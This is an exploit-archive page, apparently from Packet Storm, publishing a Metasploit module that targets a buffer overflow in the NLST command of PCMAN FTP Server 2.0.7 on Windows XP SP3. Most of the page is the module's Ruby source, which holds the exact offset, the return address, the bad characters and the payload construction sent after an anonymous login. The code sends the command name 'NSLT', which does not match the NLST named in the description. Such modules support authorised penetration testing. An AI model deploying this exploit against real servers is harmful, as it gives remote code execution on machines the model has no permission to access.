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PCMAN FTP Server 2.0.7 NLST Buffer Overflow

PCMAN FTP Server 2.0.7 NLST Buffer Overflow
Posted Apr 13, 2017
Authored by Karri93, Ye Yint Min Thu Htut | Site metasploit.com

This Metasploit module exploits a buffer overflow vulnerability found in the NLST command of the PCMAN FTP version 2.0.7 Server. This requires authentication but by default anonymous credentials are enabled.

tags | exploit, overflow
MD5 | fdda4c2888a7a1cdc5a9c46c6e91f452

PCMAN FTP Server 2.0.7 NLST Buffer Overflow

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'PCMAN FTP Server Buffer Overflow - NLST Command',
'Description' => %q{
This module exploits a buffer overflow vulnerability found in the NLST command of the
PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
credientials are enabled.
},
'Author' =>
[
'Karri93', # Initial Discovery -- https://www.exploit-db.com/exploits/40712/
'Ye Yint Min Thu Htut' # msf Module -- @yeyint_mth @yehg
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', ''],
[ 'OSVDB', '']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0A\x0D",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP3 English',
{
'Ret' => 0x77f11d2f, # GDI32.dll
'Offset' => 2007
}
],
],
'DisclosureDate' => 'Nov 04 2016',
'DefaultTarget' => 0))
end

def check
connect_login
disconnect

if /220 PCMan's FTP Server 2\.0/ === banner
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end


def exploit
connect_login

print_status('Creating payload...')
sploit = rand_text_alpha(target['Offset'])
sploit << [target.ret].pack('V')
sploit << make_nops(30)
sploit << payload.encoded

send_cmd( ["NSLT", sploit], false )
disconnect
end

end

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